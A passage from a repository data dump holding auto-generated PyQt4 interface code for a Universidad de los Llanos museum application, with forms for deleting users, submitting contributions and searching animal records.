[i * a + b for i in x]\r\n pyplot.plot(x, y, \"r\")\r\n y2 = info[\"y\"]\r\n dx = info[\"dx\"]\r\n dy = info[\"dy\"]\r\n pyplot.errorbar(x, y2, xerr=dx, yerr=dy, fmt=\"b+\")\r\n pyplot.xlabel(x_axis)\r\n pyplot.ylabel(y_axis)\r\n pyplot.savefig(fname = fig_file, format = \"svg\")" } ]
4
Dani472/MuseoUnillanos
https://github.com/Dani472/MuseoUnillanos
16d0d6061a403b2a5584a7fdb07349db94a7dd18
a95dd8b2b36e7ecd4415d237f6ad746db76c19b0
e9bc44487c93b0b6e5ce7860e9abc51d6069178b
refs/heads/master
2016-09-03T06:59:19.671086
2015-03-10T14:15:41
2015-03-10T14:15:41
31,852,821
1
0
null
null
null
null
null
[ { "alpha_fraction": 0.6807427406311035, "alphanum_fraction": 0.7136867046356201, "avg_line_length": 48.82089614868164, "blob_id": "b9abcf897792864814b747342e777b22837cafd3", "content_id": "e374201cead3ef308f8e3269d7ab9439d00df09e", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 3339, "license_type": "no_license", "max_line_length": 114, "num_lines": 67, "path": "/Grafico/EliminarUserGrafico.py", "repo_name": "Dani472/MuseoUnillanos", "src_encoding": "UTF-8", "text": "# -*- coding: utf-8 -*-\n\n# Form implementation generated from reading ui file 'EliminarUser.ui'\n#\n# Created: Tue Dec 09 09:18:06 2014\n# by: PyQt4 UI code generator 4.11.1\n#\n# WARNING! All changes made in this file will be lost!\n\nfrom PyQt4 import QtCore, QtGui\n\ntry:\n _fromUtf8 = QtCore.QString.fromUtf8\nexcept AttributeError:\n def _fromUtf8(s):\n return s\n\ntry:\n _encoding = QtGui.QApplication.UnicodeUTF8\n def _translate(context, text, disambig):\n return QtGui.QApplication.translate(context, text, disambig, _encoding)\nexcept AttributeError:\n def _translate(context, text, disambig):\n return QtGui.QApplication.translate(context, text, disambig)\n\nclass Ui_EliminarUser(object):\n def setupUi(self, EliminarUser):\n EliminarUser.setObjectName(_fromUtf8(\"EliminarUser\"))\n EliminarUser.resize(365, 209)\n EliminarUser.setMinimumSize(QtCore.QSize(365, 209))\n EliminarUser.setMaximumSize(QtCore.QSize(365, 209))\n self.centralwidget = QtGui.QWidget(EliminarUser)\n self.centralwidget.setObjectName(_fromUtf8(\"centralwidget\"))\n self.label_6 = QtGui.QLabel(self.centralwidget)\n self.label_6.setGeometry(QtCore.QRect(0, 0, 381, 201))\n self.label_6.setText(_fromUtf8(\"\"))\n self.label_6.setPixmap(QtGui.QPixmap(_fromUtf8(\"C:/Fondos/Eliminar-usuario.jpg\")))\n self.label_6.setObjectName(_fromUtf8(\"label_6\"))\n self.BConfirmar = QtGui.QPushButton(self.centralwidget)\n self.BConfirmar.setGeometry(QtCore.QRect(190, 150, 75, 23))\n self.BConfirmar.setObjectName(_fromUtf8(\"BConfirmar\"))\n self.pushButton = QtGui.QPushButton(self.centralwidget)\n self.pushButton.setGeometry(QtCore.QRect(100, 150, 75, 23))\n self.pushButton.setObjectName(_fromUtf8(\"pushButton\"))\n self.TxtUserEliminar = QtGui.QLineEdit(self.centralwidget)\n self.TxtUserEliminar.setGeometry(QtCore.QRect(220, 90, 113, 20))\n self.TxtUserEliminar.setObjectName(_fromUtf8(\"TxtUserEliminar\"))\n self.TxtPassadmin = QtGui.QLineEdit(self.centralwidget)\n self.TxtPassadmin.setGeometry(QtCore.QRect(230, 120, 113, 20))\n self.TxtPassadmin.setEchoMode(QtGui.QLineEdit.Password)\n self.TxtPassadmin.setObjectName(_fromUtf8(\"TxtPassadmin\"))\n EliminarUser.setCentralWidget(self.centralwidget)\n self.statusbar = QtGui.QStatusBar(EliminarUser)\n self.statusbar.setObjectName(_fromUtf8(\"statusbar\"))\n EliminarUser.setStatusBar(self.statusbar)\n\n self.retranslateUi(EliminarUser)\n QtCore.QObject.connect(self.pushButton, QtCore.SIGNAL(_fromUtf8(\"clicked()\")), EliminarUser.Volver)\n QtCore.QObject.connect(self.BConfirmar, QtCore.SIGNAL(_fromUtf8(\"clicked()\")), EliminarUser.Confirmar)\n QtCore.QObject.connect(self.BConfirmar, QtCore.SIGNAL(_fromUtf8(\"clicked()\")), self.TxtPassadmin.clear)\n QtCore.QObject.connect(self.BConfirmar, QtCore.SIGNAL(_fromUtf8(\"clicked()\")), self.TxtUserEliminar.clear)\n QtCore.QMetaObject.connectSlotsByName(EliminarUser)\n\n def retranslateUi(self, EliminarUser):\n EliminarUser.setWindowTitle(_translate(\"EliminarUser\", \"Eliminar\", None))\n self.BConfirmar.setText(_translate(\"EliminarUser\", \"Confirmar\", None))\n self.pushButton.setText(_translate(\"EliminarUser\", \"Volver\", None))\n\n" }, { "alpha_fraction": 0.6350980997085571, "alphanum_fraction": 0.6764034628868103, "avg_line_length": 46.619564056396484, "blob_id": "1ef723e20af9c23465aa0a97778e56d8dce4bcaa", "content_id": "ce192d6c1a67f74e5301079ff15e773f5077d781", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 4384, "license_type": "no_license", "max_line_length": 178, "num_lines": 92, "path": "/Grafico/AportesGrafico.py", "repo_name": "Dani472/MuseoUnillanos", "src_encoding": "UTF-8", "text": "# -*- coding: utf-8 -*-\n\n# Form implementation generated from reading ui file 'AportesUser.ui'\n#\n# Created: Mon Dec 08 00:48:54 2014\n# by: PyQt4 UI code generator 4.11.1\n#\n# WARNING! All changes made in this file will be lost!\n\nfrom PyQt4 import QtCore, QtGui\n\ntry:\n _fromUtf8 = QtCore.QString.fromUtf8\nexcept AttributeError:\n def _fromUtf8(s):\n return s\n\ntry:\n _encoding = QtGui.QApplication.UnicodeUTF8\n def _translate(context, text, disambig):\n return QtGui.QApplication.translate(context, text, disambig, _encoding)\nexcept AttributeError:\n def _translate(context, text, disambig):\n return QtGui.QApplication.translate(context, text, disambig)\n\nclass Ui_Aportes(object):\n def setupUi(self, Aportes):\n Aportes.setObjectName(_fromUtf8(\"Aportes\"))\n Aportes.resize(480, 339)\n Aportes.setMinimumSize(QtCore.QSize(480, 339))\n Aportes.setMaximumSize(QtCore.QSize(480, 339))\n self.centralwidget = QtGui.QWidget(Aportes)\n self.centralwidget.setObjectName(_fromUtf8(\"centralwidget\"))\n self.groupBox = QtGui.QGroupBox(self.centralwidget)\n self.groupBox.setGeometry(QtCore.QRect(10, 50, 461, 231))\n font = QtGui.QFont()\n font.setPointSize(12)\n font.setBold(True)\n font.setItalic(True)\n font.setWeight(75)\n self.groupBox.setFont(font)\n self.groupBox.setObjectName(_fromUtf8(\"groupBox\"))\n self.label_2 = QtGui.QLabel(self.groupBox)\n self.label_2.setGeometry(QtCore.QRect(20, 50, 101, 16))\n self.label_2.setObjectName(_fromUtf8(\"label_2\"))\n self.label_3 = QtGui.QLabel(self.groupBox)\n self.label_3.setGeometry(QtCore.QRect(20, 120, 71, 21))\n self.label_3.setObjectName(_fromUtf8(\"label_3\"))\n self.TxtPass = QtGui.QLineEdit(self.groupBox)\n self.TxtPass.setGeometry(QtCore.QRect(140, 50, 113, 20))\n self.TxtPass.setEchoMode(QtGui.QLineEdit.Password)\n self.TxtPass.setObjectName(_fromUtf8(\"TxtPass\"))\n self.TxtAportes = QtGui.QPlainTextEdit(self.groupBox)\n self.TxtAportes.setGeometry(QtCore.QRect(140, 80, 301, 111))\n self.TxtAportes.setObjectName(_fromUtf8(\"TxtAportes\"))\n self.pushButton_2 = QtGui.QPushButton(self.groupBox)\n self.pushButton_2.setGeometry(QtCore.QRect(360, 200, 75, 23))\n font = QtGui.QFont()\n font.setPointSize(10)\n font.setBold(False)\n font.setItalic(False)\n font.setWeight(50)\n self.pushButton_2.setFont(font)\n self.pushButton_2.setObjectName(_fromUtf8(\"pushButton_2\"))\n self.label = QtGui.QLabel(self.centralwidget)\n self.label.setGeometry(QtCore.QRect(0, 0, 471, 51))\n self.label.setObjectName(_fromUtf8(\"label\"))\n self.label_4 = QtGui.QLabel(self.centralwidget)\n self.label_4.setGeometry(QtCore.QRect(310, 290, 161, 20))\n self.label_4.setObjectName(_fromUtf8(\"label_4\"))\n self.pushButton = QtGui.QPushButton(self.centralwidget)\n self.pushButton.setGeometry(QtCore.QRect(10, 290, 75, 23))\n self.pushButton.setObjectName(_fromUtf8(\"pushButton\"))\n Aportes.setCentralWidget(self.centralwidget)\n self.statusbar = QtGui.QStatusBar(Aportes)\n self.statusbar.setObjectName(_fromUtf8(\"statusbar\"))\n Aportes.setStatusBar(self.statusbar)\n\n self.retranslateUi(Aportes)\n QtCore.QObject.connect(self.pushButton, QtCore.SIGNAL(_fromUtf8(\"clicked()\")), Aportes.Volver)\n QtCore.QObject.connect(self.pushButton_2, QtCore.SIGNAL(_fromUtf8(\"clicked()\")), Aportes.Guardar)\n QtCore.QMetaObject.connectSlotsByName(Aportes)\n\n def retranslateUi(self, Aportes):\n Aportes.setWindowTitle(_translate(\"Aportes\", \"Aportes\", None))\n self.groupBox.setTitle(_translate(\"Aportes\", \"Datos Requeridos\", None))\n self.label_2.setText(_translate(\"Aportes\", \"Contraseña\", None))\n self.label_3.setText(_translate(\"Aportes\", \"Aportes\", None))\n self.pushButton_2.setText(_translate(\"Aportes\", \"Aceptar\", None))\n self.label.setText(_translate(\"Aportes\", \"<html><head/><body><p align=\\\"center\\\"><span style=\\\" font-size:14pt; color:#0000ff;\\\">Aportes</span></p></body></html>\", None))\n self.label_4.setText(_translate(\"Aportes\", \"Universidad de los Llanos 2014 ®\", None))\n self.pushButton.setText(_translate(\"Aportes\", \"Volver\", None))\n\n" }, { "alpha_fraction": 0.588024914264679, "alphanum_fraction": 0.6421997547149658, "avg_line_length": 44.79863357543945, "blob_id": "8422f8c0b4881b50819090303425f8b01e22f639", "content_id": "4cf33a74712d9d801398288153c5dc0840d72f36", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 26840, "license_type": "no_license", "max_line_length": 435, "num_lines": 586, "path": "/Grafico/BusquedaPersonalizadaGrafico.py", "repo_name": "Dani472/MuseoUnillanos", "src_encoding": "UTF-8", "text": "# -*- coding: utf-8 -*-\n\n# Form implementation generated from reading ui file 'BusquedaPersonalizada.ui'\n#\n# Created: Tue Dec 09 09:38:42 2014\n# by: PyQt4 UI code generator 4.11.1\n#\n# WARNING! All changes made in this file will be lost!\n\nfrom PyQt4 import QtCore, QtGui\n\ntry:\n _fromUtf8 = QtCore.QString.fromUtf8\nexcept AttributeError:\n def _fromUtf8(s):\n return s\n\ntry:\n _encoding = QtGui.QApplication.UnicodeUTF8\n def _translate(context, text, disambig):\n return QtGui.QApplication.translate(context, text, disambig, _encoding)\nexcept AttributeError:\n def _translate(context, text, disambig):\n return QtGui.QApplication.translate(context, text, disambig)\n\nclass Ui_BusquedaPersonalizada(object):\n def setupUi(self, BusquedaPersonalizada):\n BusquedaPersonalizada.setObjectName(_fromUtf8(\"BusquedaPersonalizada\"))\n BusquedaPersonalizada.resize(1248, 596)\n BusquedaPersonalizada.setMinimumSize(QtCore.QSize(1248, 596))\n BusquedaPersonalizada.setMaximumSize(QtCore.QSize(1248, 596))\n BusquedaPersonalizada.setAcceptDrops(False)\n self.centralwidget = QtGui.QWidget(BusquedaPersonalizada)\n self.centralwidget.setObjectName(_fromUtf8(\"centralwidget\"))\n self.pushButton = QtGui.QPushButton(self.centralwidget)\n self.pushButton.setGeometry(QtCore.QRect(10, 520, 75, 23))\n self.pushButton.setObjectName(_fromUtf8(\"pushButton\"))\n self.groupBox = QtGui.QGroupBox(self.centralwidget)\n self.groupBox.setGeometry(QtCore.QRect(10, 30, 1221, 161))\n font = QtGui.QFont()\n font.setPointSize(11)\n font.setBold(True)\n font.setItalic(True)\n font.setWeight(75)\n self.groupBox.setFont(font)\n self.groupBox.setObjectName(_fromUtf8(\"groupBox\"))\n self.TxtCodeAnimal = QtGui.QLineEdit(self.groupBox)\n self.TxtCodeAnimal.setEnabled(False)\n self.TxtCodeAnimal.setGeometry(QtCore.QRect(210, 40, 113, 20))\n self.TxtCodeAnimal.setObjectName(_fromUtf8(\"TxtCodeAnimal\"))\n self.BotonBusqueda = QtGui.QPushButton(self.groupBox)\n self.BotonBusqueda.setEnabled(False)\n self.BotonBusqueda.setGeometry(QtCore.QRect(1130, 130, 75, 23))\n self.BotonBusqueda.setObjectName(_fromUtf8(\"BotonBusqueda\"))\n self.radioButton = QtGui.QRadioButton(self.groupBox)\n self.radioButton.setGeometry(QtCore.QRect(10, 40, 16, 17))\n self.radioButton.setText(_fromUtf8(\"\"))\n self.radioButton.setObjectName(_fromUtf8(\"radioButton\"))\n self.radioButton_2 = QtGui.QRadioButton(self.groupBox)\n self.radioButton_2.setGeometry(QtCore.QRect(10, 110, 16, 17))\n self.radioButton_2.setText(_fromUtf8(\"\"))\n self.radioButton_2.setObjectName(_fromUtf8(\"radioButton_2\"))\n self.label_2 = QtGui.QLabel(self.groupBox)\n self.label_2.setGeometry(QtCore.QRect(40, 40, 141, 21))\n self.label_2.setObjectName(_fromUtf8(\"label_2\"))\n self.label_3 = QtGui.QLabel(self.groupBox)\n self.label_3.setGeometry(QtCore.QRect(40, 110, 61, 16))\n self.label_3.setObjectName(_fromUtf8(\"label_3\"))\n self.TxtnomAnimal = QtGui.QLineEdit(self.groupBox)\n self.TxtnomAnimal.setEnabled(False)\n self.TxtnomAnimal.setGeometry(QtCore.QRect(120, 110, 113, 20))\n self.TxtnomAnimal.setObjectName(_fromUtf8(\"TxtnomAnimal\"))\n self.label_5 = QtGui.QLabel(self.groupBox)\n self.label_5.setGeometry(QtCore.QRect(265, 110, 101, 20))\n self.label_5.setObjectName(_fromUtf8(\"label_5\"))\n self.TxtEnvergadura = QtGui.QLineEdit(self.groupBox)\n self.TxtEnvergadura.setEnabled(False)\n self.TxtEnvergadura.setGeometry(QtCore.QRect(380, 110, 113, 20))\n self.TxtEnvergadura.setObjectName(_fromUtf8(\"TxtEnvergadura\"))\n self.label_7 = QtGui.QLabel(self.groupBox)\n self.label_7.setGeometry(QtCore.QRect(740, 20, 331, 81))\n self.label_7.setObjectName(_fromUtf8(\"label_7\"))\n self.label = QtGui.QLabel(self.centralwidget)\n self.label.setGeometry(QtCore.QRect(0, -10, 771, 51))\n self.label.setObjectName(_fromUtf8(\"label\"))\n self.groupBox_2 = QtGui.QGroupBox(self.centralwidget)\n self.groupBox_2.setGeometry(QtCore.QRect(10, 200, 1221, 311))\n font = QtGui.QFont()\n font.setPointSize(12)\n font.setBold(True)\n font.setItalic(True)\n font.setWeight(75)\n self.groupBox_2.setFont(font)\n self.groupBox_2.setObjectName(_fromUtf8(\"groupBox_2\"))\n self.label_8 = QtGui.QLabel(self.groupBox_2)\n self.label_8.setGeometry(QtCore.QRect(20, 30, 51, 21))\n font = QtGui.QFont()\n font.setPointSize(11)\n font.setBold(False)\n font.setItalic(False)\n font.setUnderline(True)\n font.setWeight(50)\n self.label_8.setFont(font)\n self.label_8.setObjectName(_fromUtf8(\"label_8\"))\n self.label_9 = QtGui.QLabel(self.groupBox_2)\n self.label_9.setGeometry(QtCore.QRect(220, 30, 91, 21))\n font = QtGui.QFont()\n font.setPointSize(11)\n font.setBold(False)\n font.setItalic(False)\n font.setUnderline(True)\n font.setWeight(50)\n self.label_9.setFont(font)\n self.label_9.setObjectName(_fromUtf8(\"label_9\"))\n self.L1 = QtGui.QLabel(self.groupBox_2)\n self.L1.setGeometry(QtCore.QRect(80, 30, 121, 21))\n font = QtGui.QFont()\n font.setPointSize(11)\n font.setBold(False)\n font.setItalic(False)\n font.setWeight(50)\n self.L1.setFont(font)\n self.L1.setObjectName(_fromUtf8(\"L1\"))\n self.L2 = QtGui.QLabel(self.groupBox_2)\n self.L2.setGeometry(QtCore.QRect(300, 30, 181, 21))\n font = QtGui.QFont()\n font.setPointSize(11)\n font.setBold(False)\n font.setItalic(False)\n font.setWeight(50)\n self.L2.setFont(font)\n self.L2.setObjectName(_fromUtf8(\"L2\"))\n self.L3 = QtGui.QLabel(self.groupBox_2)\n self.L3.setGeometry(QtCore.QRect(600, 30, 601, 21))\n font = QtGui.QFont()\n font.setPointSize(11)\n font.setBold(False)\n font.setItalic(False)\n font.setWeight(50)\n self.L3.setFont(font)\n self.L3.setObjectName(_fromUtf8(\"L3\"))\n self.label_13 = QtGui.QLabel(self.groupBox_2)\n self.label_13.setGeometry(QtCore.QRect(510, 30, 91, 21))\n font = QtGui.QFont()\n font.setPointSize(11)\n font.setBold(False)\n font.setItalic(False)\n font.setUnderline(True)\n font.setWeight(50)\n self.label_13.setFont(font)\n self.label_13.setObjectName(_fromUtf8(\"label_13\"))\n self.label_14 = QtGui.QLabel(self.groupBox_2)\n self.label_14.setGeometry(QtCore.QRect(20, 70, 91, 16))\n font = QtGui.QFont()\n font.setPointSize(11)\n font.setBold(False)\n font.setItalic(False)\n font.setUnderline(True)\n font.setWeight(50)\n self.label_14.setFont(font)\n self.label_14.setObjectName(_fromUtf8(\"label_14\"))\n self.L4 = QtGui.QLabel(self.groupBox_2)\n self.L4.setGeometry(QtCore.QRect(90, 70, 121, 16))\n font = QtGui.QFont()\n font.setPointSize(11)\n font.setBold(False)\n font.setItalic(False)\n font.setWeight(50)\n self.L4.setFont(font)\n self.L4.setObjectName(_fromUtf8(\"L4\"))\n self.label_16 = QtGui.QLabel(self.groupBox_2)\n self.label_16.setGeometry(QtCore.QRect(310, 70, 91, 16))\n font = QtGui.QFont()\n font.setPointSize(11)\n font.setBold(False)\n font.setItalic(False)\n font.setUnderline(True)\n font.setWeight(50)\n self.label_16.setFont(font)\n self.label_16.setObjectName(_fromUtf8(\"label_16\"))\n self.L5 = QtGui.QLabel(self.groupBox_2)\n self.L5.setGeometry(QtCore.QRect(420, 70, 131, 16))\n font = QtGui.QFont()\n font.setPointSize(11)\n font.setBold(False)\n font.setItalic(False)\n font.setWeight(50)\n self.L5.setFont(font)\n self.L5.setObjectName(_fromUtf8(\"L5\"))\n self.label_18 = QtGui.QLabel(self.groupBox_2)\n self.label_18.setGeometry(QtCore.QRect(590, 70, 91, 16))\n font = QtGui.QFont()\n font.setPointSize(11)\n font.setBold(False)\n font.setItalic(False)\n font.setUnderline(True)\n font.setWeight(50)\n self.label_18.setFont(font)\n self.label_18.setObjectName(_fromUtf8(\"label_18\"))\n self.L6 = QtGui.QLabel(self.groupBox_2)\n self.L6.setGeometry(QtCore.QRect(690, 70, 511, 16))\n font = QtGui.QFont()\n font.setPointSize(11)\n font.setBold(False)\n font.setItalic(False)\n font.setWeight(50)\n self.L6.setFont(font)\n self.L6.setObjectName(_fromUtf8(\"L6\"))\n self.label_20 = QtGui.QLabel(self.groupBox_2)\n self.label_20.setGeometry(QtCore.QRect(20, 110, 61, 16))\n font = QtGui.QFont()\n font.setPointSize(11)\n font.setBold(False)\n font.setItalic(False)\n font.setUnderline(True)\n font.setWeight(50)\n self.label_20.setFont(font)\n self.label_20.setObjectName(_fromUtf8(\"label_20\"))\n self.L7 = QtGui.QLabel(self.groupBox_2)\n self.L7.setGeometry(QtCore.QRect(90, 110, 141, 16))\n font = QtGui.QFont()\n font.setPointSize(11)\n font.setBold(False)\n font.setItalic(False)\n font.setWeight(50)\n self.L7.setFont(font)\n self.L7.setObjectName(_fromUtf8(\"L7\"))\n self.label_22 = QtGui.QLabel(self.groupBox_2)\n self.label_22.setGeometry(QtCore.QRect(270, 110, 91, 16))\n font = QtGui.QFont()\n font.setPointSize(11)\n font.setBold(False)\n font.setItalic(False)\n font.setUnderline(True)\n font.setWeight(50)\n self.label_22.setFont(font)\n self.label_22.setObjectName(_fromUtf8(\"label_22\"))\n self.L8 = QtGui.QLabel(self.groupBox_2)\n self.L8.setGeometry(QtCore.QRect(380, 110, 191, 16))\n font = QtGui.QFont()\n font.setPointSize(11)\n font.setBold(False)\n font.setItalic(False)\n font.setWeight(50)\n self.L8.setFont(font)\n self.L8.setObjectName(_fromUtf8(\"L8\"))\n self.label_24 = QtGui.QLabel(self.groupBox_2)\n self.label_24.setGeometry(QtCore.QRect(20, 150, 61, 16))\n font = QtGui.QFont()\n font.setPointSize(11)\n font.setBold(False)\n font.setItalic(False)\n font.setUnderline(True)\n font.setWeight(50)\n self.label_24.setFont(font)\n self.label_24.setObjectName(_fromUtf8(\"label_24\"))\n self.L10 = QtGui.QLabel(self.groupBox_2)\n self.L10.setGeometry(QtCore.QRect(80, 150, 91, 16))\n font = QtGui.QFont()\n font.setPointSize(11)\n font.setBold(False)\n font.setItalic(False)\n font.setWeight(50)\n self.L10.setFont(font)\n self.L10.setObjectName(_fromUtf8(\"L10\"))\n self.L9 = QtGui.QLabel(self.groupBox_2)\n self.L9.setGeometry(QtCore.QRect(790, 110, 161, 16))\n font = QtGui.QFont()\n font.setPointSize(11)\n font.setBold(False)\n font.setItalic(False)\n font.setWeight(50)\n self.L9.setFont(font)\n self.L9.setObjectName(_fromUtf8(\"L9\"))\n self.label_27 = QtGui.QLabel(self.groupBox_2)\n self.label_27.setGeometry(QtCore.QRect(630, 110, 151, 21))\n font = QtGui.QFont()\n font.setPointSize(11)\n font.setBold(False)\n font.setItalic(False)\n font.setUnderline(True)\n font.setWeight(50)\n self.label_27.setFont(font)\n self.label_27.setObjectName(_fromUtf8(\"label_27\"))\n self.L11 = QtGui.QLabel(self.groupBox_2)\n self.L11.setGeometry(QtCore.QRect(270, 150, 111, 16))\n font = QtGui.QFont()\n font.setPointSize(11)\n font.setBold(False)\n font.setItalic(False)\n font.setWeight(50)\n self.L11.setFont(font)\n self.L11.setObjectName(_fromUtf8(\"L11\"))\n self.label_28 = QtGui.QLabel(self.groupBox_2)\n self.label_28.setGeometry(QtCore.QRect(210, 150, 61, 16))\n font = QtGui.QFont()\n font.setPointSize(11)\n font.setBold(False)\n font.setItalic(False)\n font.setUnderline(True)\n font.setWeight(50)\n self.label_28.setFont(font)\n self.label_28.setObjectName(_fromUtf8(\"label_28\"))\n self.label_29 = QtGui.QLabel(self.groupBox_2)\n self.label_29.setGeometry(QtCore.QRect(460, 150, 91, 16))\n font = QtGui.QFont()\n font.setPointSize(11)\n font.setBold(False)\n font.setItalic(False)\n font.setUnderline(True)\n font.setWeight(50)\n self.label_29.setFont(font)\n self.label_29.setObjectName(_fromUtf8(\"label_29\"))\n self.L12 = QtGui.QLabel(self.groupBox_2)\n self.L12.setGeometry(QtCore.QRect(550, 150, 191, 16))\n font = QtGui.QFont()\n font.setPointSize(11)\n font.setBold(False)\n font.setItalic(False)\n font.setWeight(50)\n self.L12.setFont(font)\n self.L12.setObjectName(_fromUtf8(\"L12\"))\n self.label_31 = QtGui.QLabel(self.groupBox_2)\n self.label_31.setGeometry(QtCore.QRect(20, 190, 41, 16))\n font = QtGui.QFont()\n font.setPointSize(11)\n font.setBold(False)\n font.setItalic(False)\n font.setUnderline(True)\n font.setWeight(50)\n self.label_31.setFont(font)\n self.label_31.setObjectName(_fromUtf8(\"label_31\"))\n self.label_32 = QtGui.QLabel(self.groupBox_2)\n self.label_32.setGeometry(QtCore.QRect(780, 150, 91, 16))\n font = QtGui.QFont()\n font.setPointSize(11)\n font.setBold(False)\n font.setItalic(False)\n font.setUnderline(True)\n font.setWeight(50)\n self.label_32.setFont(font)\n self.label_32.setObjectName(_fromUtf8(\"label_32\"))\n self.L13 = QtGui.QLabel(self.groupBox_2)\n self.L13.setGeometry(QtCore.QRect(890, 150, 311, 16))\n font = QtGui.QFont()\n font.setPointSize(11)\n font.setBold(False)\n font.setItalic(False)\n font.setWeight(50)\n self.L13.setFont(font)\n self.L13.setObjectName(_fromUtf8(\"L13\"))\n self.L14 = QtGui.QLabel(self.groupBox_2)\n self.L14.setGeometry(QtCore.QRect(80, 190, 91, 16))\n font = QtGui.QFont()\n font.setPointSize(11)\n font.setBold(False)\n font.setItalic(False)\n font.setWeight(50)\n self.L14.setFont(font)\n self.L14.setObjectName(_fromUtf8(\"L14\"))\n self.label_35 = QtGui.QLabel(self.groupBox_2)\n self.label_35.setGeometry(QtCore.QRect(210, 190, 91, 21))\n font = QtGui.QFont()\n font.setPointSize(11)\n font.setBold(False)\n font.setItalic(False)\n font.setUnderline(True)\n font.setWeight(50)\n self.label_35.setFont(font)\n self.label_35.setObjectName(_fromUtf8(\"label_35\"))\n self.L15 = QtGui.QLabel(self.groupBox_2)\n self.L15.setGeometry(QtCore.QRect(330, 190, 181, 16))\n font = QtGui.QFont()\n font.setPointSize(11)\n font.setBold(False)\n font.setItalic(False)\n font.setWeight(50)\n self.L15.setFont(font)\n self.L15.setObjectName(_fromUtf8(\"L15\"))\n self.label_37 = QtGui.QLabel(self.groupBox_2)\n self.label_37.setGeometry(QtCore.QRect(20, 230, 141, 16))\n font = QtGui.QFont()\n font.setPointSize(11)\n font.setBold(False)\n font.setItalic(False)\n font.setUnderline(True)\n font.setWeight(50)\n self.label_37.setFont(font)\n self.label_37.setObjectName(_fromUtf8(\"label_37\"))\n self.label_38 = QtGui.QLabel(self.groupBox_2)\n self.label_38.setGeometry(QtCore.QRect(540, 190, 171, 16))\n font = QtGui.QFont()\n font.setPointSize(11)\n font.setBold(False)\n font.setItalic(False)\n font.setUnderline(True)\n font.setWeight(50)\n self.label_38.setFont(font)\n self.label_38.setObjectName(_fromUtf8(\"label_38\"))\n self.label_39 = QtGui.QLabel(self.groupBox_2)\n self.label_39.setGeometry(QtCore.QRect(1020, 190, 91, 21))\n font = QtGui.QFont()\n font.setPointSize(11)\n font.setBold(False)\n font.setItalic(False)\n font.setUnderline(True)\n font.setWeight(50)\n self.label_39.setFont(font)\n self.label_39.setObjectName(_fromUtf8(\"label_39\"))\n self.L16 = QtGui.QLabel(self.groupBox_2)\n self.L16.setGeometry(QtCore.QRect(740, 190, 251, 16))\n font = QtGui.QFont()\n font.setPointSize(11)\n font.setBold(False)\n font.setItalic(False)\n font.setWeight(50)\n self.L16.setFont(font)\n self.L16.setObjectName(_fromUtf8(\"L16\"))\n self.label_40 = QtGui.QLabel(self.groupBox_2)\n self.label_40.setGeometry(QtCore.QRect(430, 230, 51, 16))\n font = QtGui.QFont()\n font.setPointSize(11)\n font.setBold(False)\n font.setItalic(False)\n font.setUnderline(True)\n font.setWeight(50)\n self.label_40.setFont(font)\n self.label_40.setObjectName(_fromUtf8(\"label_40\"))\n self.L17 = QtGui.QLabel(self.groupBox_2)\n self.L17.setGeometry(QtCore.QRect(1110, 190, 91, 16))\n font = QtGui.QFont()\n font.setPointSize(11)\n font.setBold(False)\n font.setItalic(False)\n font.setWeight(50)\n self.L17.setFont(font)\n self.L17.setObjectName(_fromUtf8(\"L17\"))\n self.L18 = QtGui.QLabel(self.groupBox_2)\n self.L18.setGeometry(QtCore.QRect(180, 230, 231, 16))\n font = QtGui.QFont()\n font.setPointSize(11)\n font.setBold(False)\n font.setItalic(False)\n font.setWeight(50)\n self.L18.setFont(font)\n self.L18.setObjectName(_fromUtf8(\"L18\"))\n self.L19 = QtGui.QLabel(self.groupBox_2)\n self.L19.setGeometry(QtCore.QRect(500, 230, 301, 16))\n font = QtGui.QFont()\n font.setPointSize(11)\n font.setBold(False)\n font.setItalic(False)\n font.setWeight(50)\n self.L19.setFont(font)\n self.L19.setObjectName(_fromUtf8(\"L19\"))\n self.L20 = QtGui.QLabel(self.groupBox_2)\n self.L20.setGeometry(QtCore.QRect(970, 230, 241, 16))\n font = QtGui.QFont()\n font.setPointSize(11)\n font.setBold(False)\n font.setItalic(False)\n font.setWeight(50)\n self.L20.setFont(font)\n self.L20.setObjectName(_fromUtf8(\"L20\"))\n self.label_44 = QtGui.QLabel(self.groupBox_2)\n self.label_44.setGeometry(QtCore.QRect(850, 230, 101, 16))\n font = QtGui.QFont()\n font.setPointSize(11)\n font.setBold(False)\n font.setItalic(False)\n font.setUnderline(True)\n font.setWeight(50)\n self.label_44.setFont(font)\n self.label_44.setObjectName(_fromUtf8(\"label_44\"))\n self.label_45 = QtGui.QLabel(self.groupBox_2)\n self.label_45.setGeometry(QtCore.QRect(20, 270, 91, 16))\n font = QtGui.QFont()\n font.setPointSize(11)\n font.setBold(False)\n font.setItalic(False)\n font.setUnderline(True)\n font.setWeight(50)\n self.label_45.setFont(font)\n self.label_45.setObjectName(_fromUtf8(\"label_45\"))\n self.L21 = QtGui.QLabel(self.groupBox_2)\n self.L21.setGeometry(QtCore.QRect(120, 270, 281, 16))\n font = QtGui.QFont()\n font.setPointSize(11)\n font.setBold(False)\n font.setItalic(False)\n font.setWeight(50)\n self.L21.setFont(font)\n self.L21.setObjectName(_fromUtf8(\"L21\"))\n self.label_47 = QtGui.QLabel(self.groupBox_2)\n self.label_47.setGeometry(QtCore.QRect(560, 270, 91, 16))\n font = QtGui.QFont()\n font.setPointSize(11)\n font.setBold(False)\n font.setItalic(False)\n font.setUnderline(True)\n font.setWeight(50)\n self.label_47.setFont(font)\n self.label_47.setObjectName(_fromUtf8(\"label_47\"))\n self.L22 = QtGui.QLabel(self.groupBox_2)\n self.L22.setGeometry(QtCore.QRect(680, 270, 491, 16))\n font = QtGui.QFont()\n font.setPointSize(11)\n font.setBold(False)\n font.setItalic(False)\n font.setWeight(50)\n self.L22.setFont(font)\n self.L22.setObjectName(_fromUtf8(\"L22\"))\n self.label_6 = QtGui.QLabel(self.centralwidget)\n self.label_6.setGeometry(QtCore.QRect(1070, 530, 161, 20))\n self.label_6.setObjectName(_fromUtf8(\"label_6\"))\n BusquedaPersonalizada.setCentralWidget(self.centralwidget)\n self.statusbar = QtGui.QStatusBar(BusquedaPersonalizada)\n self.statusbar.setObjectName(_fromUtf8(\"statusbar\"))\n BusquedaPersonalizada.setStatusBar(self.statusbar)\n\n self.retranslateUi(BusquedaPersonalizada)\n QtCore.QObject.connect(self.pushButton, 